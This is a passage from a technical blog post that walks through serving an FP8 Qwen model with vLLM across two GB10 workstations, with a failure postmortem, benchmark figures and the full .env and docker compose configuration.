&lt;p&gt;&lt;strong&gt;Do not use&lt;/strong&gt; &lt;code&gt;nvidia-smi&lt;/code&gt; &lt;strong&gt;for liveness probes.&lt;/strong&gt; Once the driver is stuck in &lt;code&gt;nv_alloc_system_pages&lt;/code&gt; holding the RM global write lock, &lt;code&gt;nvidia-smi&lt;/code&gt; itself will also be blocked by that same lock—in the BF16 incident it blocked for more than 614 seconds. The correct liveness probe is polling &lt;code&gt;MemAvailable&lt;/code&gt; in &lt;code&gt;/proc/meminfo&lt;/code&gt;: if it drops below &lt;strong&gt;5 GiB&lt;/strong&gt;, immediately &lt;code&gt;docker stop&lt;/code&gt;, seizing disposal rights before the kernel. The watchdog script is in the appendix.&lt;/p&gt;

&lt;p&gt;Expected log order:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;rank 1: &lt;code&gt;Launching vLLM ... headless multiproc executor&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Both sides: &lt;code&gt;rank N in world size 2 is assigned as ... TP rank N&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Loading model from scratch...&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Model loading took 86.33 GiB memory ...&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GPU KV cache size: ... tokens&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;rank 0: &lt;code&gt;Graph capturing finished in 5 secs, took 0.36 GiB&lt;/code&gt; (this line is absent in eager mode)&lt;/li&gt;
&lt;li&gt;rank 0: &lt;code&gt;Application startup complete.&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Timeline of this CUDA graph round:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;Peer&lt;/th&gt;
&lt;th&gt;Local&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Load weights&lt;/td&gt;
&lt;td&gt;300.79 s (model ready 307.62 s)&lt;/td&gt;
&lt;td&gt;850.66 s (model ready 857.87 s)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;init engine (profile / KV / warmup)&lt;/td&gt;
&lt;td&gt;Aligned with local, stuck on collective communication&lt;/td&gt;
&lt;td&gt;73.57 s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CUDA graph capture&lt;/td&gt;
&lt;td&gt;Counted in the previous row&lt;/td&gt;
&lt;td&gt;5 s / 0.36 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MemAvailable after startup&lt;/td&gt;
&lt;td&gt;about 15 GiB&lt;/td&gt;
&lt;td&gt;about 12 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;During loading, MemAvailable dropping from 110+ GiB to 17–24 GiB is normal; the weights have entered unified memory. The watchdog threshold of 5 GiB still leaves headroom. Local loading is clearly slower than the peer; the root cause is that the local root partition was fuller at the time, and sequentially reading 173G of safetensors eats page cache more; &lt;code&gt;--distributed-timeout-seconds 3600&lt;/code&gt; was prepared for this skew&lt;/p&gt;

&lt;h3&gt;
  
  
  Verification
&lt;/h3&gt;

&lt;p&gt;Only hit rank 0. First check whether the model is registered:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sS&lt;/span&gt; http://localhost:20001/v1/models
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It returns &lt;code&gt;id&lt;/code&gt; as &lt;code&gt;qwen3.8-flash-next&lt;/code&gt;, &lt;code&gt;root&lt;/code&gt; as &lt;code&gt;Qwen/Qwen3.8-Flash-Next-FP8&lt;/code&gt;, &lt;code&gt;max_model_len&lt;/code&gt; as 262144.&lt;/p&gt;

&lt;p&gt;Token generation and thinking. Qwen3.8 defaults to &lt;code&gt;enable_thinking=True&lt;/code&gt;, and vLLM has &lt;code&gt;--reasoning-parser qwen3&lt;/code&gt; enabled. Actual test of "factorial of 3": &lt;code&gt;completion_tokens=207&lt;/code&gt;, of which &lt;code&gt;reasoning_tokens=189&lt;/code&gt;, and the body gives "3×2×1=6". This version of the API puts the thinking process in &lt;code&gt;message.reasoning&lt;/code&gt; / &lt;code&gt;usage.completion_tokens_details.reasoning_tokens&lt;/code&gt;; the old field &lt;code&gt;reasoning_content&lt;/code&gt; may not still be present.&lt;/p&gt;

&lt;p&gt;Tool calling. &lt;code&gt;--enable-auto-tool-choice --tool-call-parser qwen3_xml&lt;/code&gt;, given a &lt;code&gt;get_weather&lt;/code&gt; function schema, asked "How is the weather now? Please call the tool to query":&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;finish_reason&lt;/code&gt;: &lt;code&gt;tool_calls&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;tool_calls[0].function.name&lt;/code&gt;: &lt;code&gt;get_weather&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;arguments&lt;/code&gt;: &lt;code&gt;{"city": "Beijing"}&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Only when all three of these pass can the service be considered usable, rather than "the process is still there and the port can be connected"&lt;/p&gt;

&lt;h3&gt;
  
  
  Postmortem of pitfalls
&lt;/h3&gt;

&lt;p&gt;This is the part the whole article really needs to leave behind; all three pitfalls exploded on the production path&lt;/p&gt;

&lt;h4&gt;
  
  
  BF16: not OOM, but whole-machine deadlock
&lt;/h4&gt;

&lt;p&gt;Following the order of "try BF16 first, then FP8 if GPU memory is insufficient", after BF16 loaded to &lt;code&gt;Loading model from scratch...&lt;/code&gt;, not a single compute kernel ever started, GPU utilization 0%, yet the CPU was saturated by kernel mode. The call stack from the kernel log (boot -1):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;VLLM::Worker_TP:507121 &amp;lt;writer&amp;gt;  holds RM global rw-semaphore
  nvidia_unlocked_ioctl -&amp;gt; RmIoctl -&amp;gt; Nv04AllocWithAccessSecInfo
  -&amp;gt; rmapiAllocWithSecInfo -&amp;gt; memdescAlloc -&amp;gt; osAllocPagesInternal
  -&amp;gt; nv_alloc_pages -&amp;gt; nv_alloc_system_pages   &amp;lt;-- stuck here
INFO: task nvidia-smi:508972 blocked for more than 614 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Under unified memory, allocating 167.6 GiB of weights is asking the kernel for 167.6 GiB of system pages, while physically there are only 119 GiB. The driver cannot get the pages, so it repeatedly reclaims and retries while holding the RM write lock. The OOM killer never managed to intervene—it kills user-mode processes, and cannot kill a kernel path stuck in the driver allocation loop. At the time &lt;code&gt;buff/cache&lt;/code&gt; was already 110 GiB; the page cache built up by reading weights and the driver fought over the same memory, aggravating the deadlock. In the end the local machine could only be rebooted.&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;flowchart TD
  Load["vLLM loads weights"] --&amp;gt; Need{"Per-node demand vs 119 GiB"}
  Need --&amp;gt;|"BF16 167.6 GiB exceeds"| Spin["nv_alloc_system_pages lock-held spin"]
  Spin --&amp;gt; Dead["CPU kernel mode saturated / GPU 0% / whole-machine reboot"]
  Need --&amp;gt;|"FP8 86.4 GiB fits"| Ok["Allocation succeeds -&amp;gt; KV cache -&amp;gt; service ready"]
  Spin -.-&amp;gt;|"added memory: 105G"| Killed["cgroup reclaims page cache, kills only the container if over limit"]&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;The point of the guardrail is here: the 105G memcg cap turns over-limit into "kill only the container". It cannot save BF16—167 GiB will never fit into 119 GiB—but it can stop the next configuration mistake from dragging the whole machine to death. &lt;code&gt;restart: "no"&lt;/code&gt; guarantees that after being killed it will not automatically charge in again&lt;/p&gt;

&lt;h4&gt;
  
  
  rank 1 omitted &lt;code&gt;--headless&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;In the first FP8 round both sides ran a full EngineCore. The weights had actually already been loaded in: peer 340.86 s, local 831.18 s, MemAvailable dropped to 17–23 GiB, looking quite healthy. Then on the peer in &lt;code&gt;_initialize_kv_caches&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AssertionError: collective_rpc should not be called on follower node
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once the peer died, the local NCCL followed with &lt;code&gt;IBV_WC_RETRY_EXC_ERR&lt;/code&gt;. In the image source, &lt;code&gt;--headless&lt;/code&gt; is commented as “headless workers (for multi-node PP/TP)”. After compose used bash to add this argument to rank 1 according to &lt;code&gt;NODE_RANK&lt;/code&gt;, KV initialization passed on the first try&lt;/p&gt;

&lt;h4&gt;
  
  
  The CUDA graph field name uses underscores
&lt;/h4&gt;

&lt;p&gt;The plan wrote &lt;code&gt;--cudagraph-mode FULL_DECODE_ONLY&lt;/code&gt;. This version of the CLI does not have this top-level argument; the nested form &lt;code&gt;-cc.cudagraph-mode=FULL_DECODE_ONLY&lt;/code&gt; is passed as-is by FlexibleArgumentParser to pydantic, which reports:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;argument --compilation-config/-cc: 1 validation error for CompilationConfig
cudagraph-mode
  Unexpected keyword argument
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The container immediately exit 2. The correct form:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;-&lt;span class="n"&gt;cc&lt;/span&gt;.&lt;span class="n"&gt;mode&lt;/span&gt;=&lt;span class="m"&gt;0&lt;/span&gt;
-&lt;span class="n"&gt;cc&lt;/span&gt;.&lt;span class="n"&gt;cudagraph_mode&lt;/span&gt;=&lt;span class="n"&gt;FULL_DECODE_ONLY&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Equivalent JSON also works: &lt;code&gt;-cc '{"mode":0,"cudagraph_mode":"FULL_DECODE_ONLY"}'&lt;/code&gt;. What the logs confirm as taking effect is &lt;code&gt;cudagraph_mode: &amp;lt;CUDAGraphMode.FULL_DECODE_ONLY: (2, 0)&amp;gt;&lt;/code&gt;, capture sizes &lt;code&gt;[1, 2, 4, 8, 16]&lt;/code&gt; (constrained by &lt;code&gt;--max-num-seqs 8&lt;/code&gt;)&lt;/p&gt;

&lt;h3&gt;
  
  
  Performance and trade-offs
&lt;/h3&gt;

&lt;p&gt;The same request to "count from 1 to 80", &lt;code&gt;temperature=0&lt;/code&gt;, &lt;code&gt;enable_thinking=False&lt;/code&gt;, &lt;code&gt;completion_tokens=231&lt;/code&gt;:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Configuration&lt;/th&gt;
&lt;th&gt;Time&lt;/th&gt;
&lt;th&gt;tok/s&lt;/th&gt;
&lt;th&gt;CUDA graph occupancy&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--enforce-eager&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;10.211 s&lt;/td&gt;
&lt;td&gt;22.62&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;-cc.mode=0&lt;/code&gt; + &lt;code&gt;FULL_DECODE_ONLY&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;9.905 s&lt;/td&gt;
&lt;td&gt;23.32&lt;/td&gt;
&lt;td&gt;local 0.36 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The community has reported order-of-magnitude decode speedups on this architecture; we did not see that. The reason is very specific: decode is already fast, and the cross-machine TP RoCE allreduce is the main path; CUDA graph can only eat the local kernel-launch overhead, not that trip over the network. The graph only occupies an extra 0.36 GiB, and KV went from eager's 503,285 tokens / 1.92x to 541,401 tokens / 2.07x, without blowing the budget, so production keeps it.&lt;/p&gt;

&lt;p&gt;Do not enable the graph before you have stood firm. Eager is the baseline for verifying correctness; the graph is a bonus after correctness&lt;/p&gt;

&lt;h1&gt;
  
  
  Closing
&lt;/h1&gt;

&lt;p&gt;This article spans a long stretch; from repairing the PGX to building the dual-GPU large model, about two months passed in between, but fortunately in the end all the pitfalls were stepped in, and the tool also went live (in the middle the whole machine locked up and I once thought I would have to repeat the "reinstall the OS" step); the configuration itself is not hard, what matters most is the process of troubleshooting. The IP addresses and so on mentioned earlier need to be changed to the corresponding content on your own machines; there is quite a bit of content in the article, and omissions are hard to avoid, so please correct me, readers&lt;/p&gt;

&lt;h1&gt;
  
  
  Appendix A: the two &lt;code&gt;.env&lt;/code&gt; files
&lt;/h1&gt;

&lt;p&gt;Local &lt;code&gt;/home/lenovo/vllm/.env&lt;/code&gt; (rank 0):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;MODEL_ID&lt;/span&gt;=&lt;span class="n"&gt;Qwen&lt;/span&gt;/&lt;span class="n"&gt;Qwen3&lt;/span&gt;.&lt;span class="m"&gt;8&lt;/span&gt;-&lt;span class="n"&gt;Flash&lt;/span&gt;-&lt;span class="n"&gt;Next&lt;/span&gt;-&lt;span class="n"&gt;FP8&lt;/span&gt;
&lt;span class="n"&gt;NODE_RANK&lt;/span&gt;=&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="n"&gt;VLLM_HOST_IP&lt;/span&gt;=&lt;span class="m"&gt;169&lt;/span&gt;.&lt;span class="m"&gt;254&lt;/span&gt;.&lt;span class="m"&gt;94&lt;/span&gt;.&lt;span class="m"&gt;252&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The same-named file on the peer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;MODEL_ID&lt;/span&gt;=&lt;span class="n"&gt;Qwen&lt;/span&gt;/&lt;span class="n"&gt;Qwen3&lt;/span&gt;.&lt;span class="m"&gt;8&lt;/span&gt;-&lt;span class="n"&gt;Flash&lt;/span&gt;-&lt;span class="n"&gt;Next&lt;/span&gt;-&lt;span class="n"&gt;FP8&lt;/span&gt;
&lt;span class="n"&gt;NODE_RANK&lt;/span&gt;=&lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="n"&gt;VLLM_HOST_IP&lt;/span&gt;=&lt;span class="m"&gt;169&lt;/span&gt;.&lt;span class="m"&gt;254&lt;/span&gt;.&lt;span class="m"&gt;159&lt;/span&gt;.&lt;span class="m"&gt;206&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;MASTER_ADDR&lt;/code&gt; is written in the compose, fixed to the local &lt;code&gt;169.254.94.252&lt;/code&gt;, and should not change along with &lt;code&gt;VLLM_HOST_IP&lt;/code&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Appendix B: the complete compose
&lt;/h1&gt;

&lt;p&gt;File path: &lt;code&gt;/home/lenovo/vllm/qwen3.8-flash-next-compose.yml&lt;/code&gt;. The content on both machines must be identical; after changing it, push to the peer via QSFP with scp.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Dual-node TP=2 for Qwen3.8-Flash-Next across two GB10 workstations.&lt;/span&gt;
&lt;span class="c1"&gt;# Same file on both machines; NODE_RANK / VLLM_HOST_IP / MODEL_ID come from .env.&lt;/span&gt;
&lt;span class="c1"&gt;# host network: vLLM binds :20001 directly (same external port as qwen3.6-35b-compose.yml).&lt;/span&gt;
&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;vllm&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;vllm/vllm-openai:qwen38-flash-next&lt;/span&gt;
    &lt;span class="na"&gt;container_name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;vllm-qwen38&lt;/span&gt;
    &lt;span class="na"&gt;network_mode&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;host&lt;/span&gt;
    &lt;span class="na"&gt;ipc&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;host&lt;/span&gt;
    &lt;span class="na"&gt;restart&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;no"&lt;/span&gt;
    &lt;span class="na"&gt;stdin_open&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
    &lt;span class="na"&gt;tty&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;/home/lenovo/vllm/huggingface:/root/.cache/huggingface&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;/etc/localtime:/etc/localtime:ro&lt;/span&gt;
    &lt;span class="na"&gt;devices&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;/dev/infiniband:/dev/infiniband&lt;/span&gt;
    &lt;span class="na"&gt;cap_add&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;IPC_LOCK&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;SYS_PTRACE&lt;/span&gt;
    &lt;span class="na"&gt;security_opt&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;seccomp:unconfined&lt;/span&gt;
    &lt;span class="na"&gt;ulimits&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;memlock&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;-1&lt;/span&gt;
      &lt;span class="na"&gt;stack&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;67108864&lt;/span&gt;
    &lt;span class="na"&gt;deploy&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;resources&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;limits&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;memory&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;105G&lt;/span&gt;
        &lt;span class="na"&gt;reservations&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;devices&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
            &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;driver&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;nvidia&lt;/span&gt;
              &lt;span class="na"&gt;count&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;all&lt;/span&gt;
              &lt;span class="na"&gt;capabilities&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;gpu&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;environment&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;PYTHONUNBUFFERED&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;1"&lt;/span&gt;
      &lt;span class="na"&gt;MODEL_ID&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${MODEL_ID}&lt;/span&gt;
      &lt;span class="na"&gt;NODE_RANK&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${NODE_RANK}&lt;/span&gt;
      &lt;span class="na"&gt;VLLM_HOST_IP&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${VLLM_HOST_IP}&lt;/span&gt;
      &lt;span class="na"&gt;MASTER_ADDR&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;169.254.94.252"&lt;/span&gt;
      &lt;span class="na"&gt;NCCL_IB_HCA&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;=rocep1s0f0,roceP2p1s0f0"&lt;/span&gt;
      &lt;span class="na"&gt;NCCL_IB_DISABLE&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;0"&lt;/span&gt;
      &lt;span class="na"&gt;NCCL_IB_GID_INDEX&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;3"&lt;/span&gt;
      &lt;span class="na"&gt;NCCL_IB_MERGE_NICS&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;1"&lt;/span&gt;
      &lt;span class="na"&gt;NCCL_SOCKET_IFNAME&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;enp1s0f0np0&lt;/span&gt;
      &lt;span class="na"&gt;NCCL_SOCKET_FAMILY&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;AF_INET&lt;/span&gt;
      &lt;span class="na"&gt;GLOO_SOCKET_IFNAME&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;enp1s0f0np0&lt;/span&gt;
      &lt;span class="na"&gt;GLOO_SOCKET_FAMILY&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;AF_INET&lt;/span&gt;
      &lt;span class="na"&gt;GLOO_USE_LIBUV&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;0"&lt;/span&gt;
      &lt;span class="na"&gt;TORCH_GLOO_USE_LIBUV&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;0"&lt;/span&gt;
      &lt;span class="na"&gt;TP_SOCKET_IFNAME&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;enp1s0f0np0&lt;/span&gt;
      &lt;span class="na"&gt;NCCL_NET_PLUGIN&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;none&lt;/span&gt;
      &lt;span class="na"&gt;NCCL_IB_ROCE_VERSION_NUM&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;2"&lt;/span&gt;
      &lt;span class="na"&gt;NCCL_CUMEM_ENABLE&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;0"&lt;/span&gt;
      &lt;span class="na"&gt;NCCL_DEBUG&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;WARN&lt;/span&gt;
    &lt;span class="c1"&gt;# Rank 1 must be --headless (worker only). Running a full EngineCore on the&lt;/span&gt;
    &lt;span class="c1"&gt;# follower hits: AssertionError: collective_rpc should not be called on follower node&lt;/span&gt;
    &lt;span class="na"&gt;entrypoint&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/bin/bash"&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-lc"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
        &lt;span class="s"&gt;set -euo pipefail&lt;/span&gt;
        &lt;span class="s"&gt;if [ "${NODE_RANK}" = "1" ]; then&lt;/span&gt;
          &lt;span class="s"&gt;exec vllm serve "${MODEL_ID}" \&lt;/span&gt;
            &lt;span class="s"&gt;--served-model-name qwen3.8-flash-next \&lt;/span&gt;
            &lt;span class="s"&gt;--tensor-parallel-size 2 \&lt;/span&gt;
            &lt;span class="s"&gt;--nnodes 2 \&lt;/span&gt;
            &lt;span class="s"&gt;--node-rank "${NODE_RANK}" \&lt;/span&gt;
            &lt;span class="s"&gt;--master-addr 169.254.94.252 \&lt;/span&gt;
            &lt;span class="s"&gt;--master-port 29501 \&lt;/span&gt;
            &lt;span class="s"&gt;--distributed-executor-backend mp \&lt;/span&gt;
            &lt;span class="s"&gt;-cc.mode=0 \&lt;/span&gt;
            &lt;span class="s"&gt;-cc.cudagraph_mode=FULL_DECODE_ONLY \&lt;/span&gt;
            &lt;span class="s"&gt;--gpu-memory-utilization 0.80 \&lt;/span&gt;
            &lt;span class="s"&gt;--distributed-timeout-seconds 3600 \&lt;/span&gt;
            &lt;span class="s"&gt;--max-model-len 262144 \&lt;/span&gt;
            &lt;span class="s"&gt;--max-num-seqs 8 \&lt;/span&gt;
            &lt;span class="s"&gt;--enable-prefix-caching \&lt;/span&gt;
            &lt;span class="s"&gt;--no-enable-flashinfer-autotune \&lt;/span&gt;
            &lt;span class="s"&gt;--reasoning-parser qwen3 \&lt;/span&gt;
            &lt;span class="s"&gt;--enable-auto-tool-choice \&lt;/span&gt;
            &lt;span class="s"&gt;--tool-call-parser qwen3_xml \&lt;/span&gt;
            &lt;span class="s"&gt;--host 0.0.0.0 \&lt;/span&gt;
            &lt;span class="s"&gt;--port 20001 \&lt;/span&gt;
            &lt;span class="s"&gt;--headless&lt;/span&gt;
        &lt;span class="s"&gt;fi&lt;/span&gt;
        &lt;span class="s"&gt;exec vllm serve "${MODEL_ID}" \&lt;/span&gt;
          &lt;span class="s"&gt;--served-model-name qwen3.8-flash-next \&lt;/span&gt;
          &lt;span class="s"&gt;--tensor-parallel-size 2 \&lt;/span&gt;
          &lt;span class="s"&gt;--nnodes 2 \&lt;/span&gt;
          &lt;span class="s"&gt;--node-rank "${NODE_RANK}" \&lt;/span&gt;
          &lt;span class="s"&gt;--master-addr 169.254.94.252 \&lt;/span&gt;
          &lt;span class="s"&gt;--master-port 29501 \&lt;/span&gt;
          &lt;span class="s"&gt;--distributed-executor-backend mp \&lt;/span&gt;
          &lt;span class="s"&gt;-cc.mode=0 \&lt;/span&gt;
          &lt;span class="s"&gt;-cc.cudagraph_mode=FULL_DECODE_ONLY \&lt;/span&gt;
          &lt;span class="s"&gt;--gpu-memory-utilization 0.80 \&lt;/span&gt;
          &lt;span class="s"&gt;--distributed-timeout-seconds 3600 \&lt;/span&gt;
          &lt;span class="s"&gt;--max-model-len 262144 \&lt;/span&gt;
          &lt;span class="s"&gt;--max-num-seqs 8 \&lt;/span&gt;
          &lt;span class="s"&gt;--enable-prefix-caching \&lt;/span&gt;
          &lt;span class="s"&gt;--no-enable-flashinfer-autotune \&lt;/span&gt;
          &lt;span class="s"&gt;--reasoning-parser qwen3 \&lt;/span&gt;
          &lt;span class="s"&gt;--enable-auto-tool-choice \&lt;/span&gt;
          &lt;span class="s"&gt;--tool-call-parser qwen3_xml \&lt;/span&gt;
          &lt;span class="s"&gt;--host 0.0.0.0 \&lt;/span&gt;
          &lt;span class="s"&gt;--port 20001&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Appendix C: watchdog script
&lt;/h1&gt;

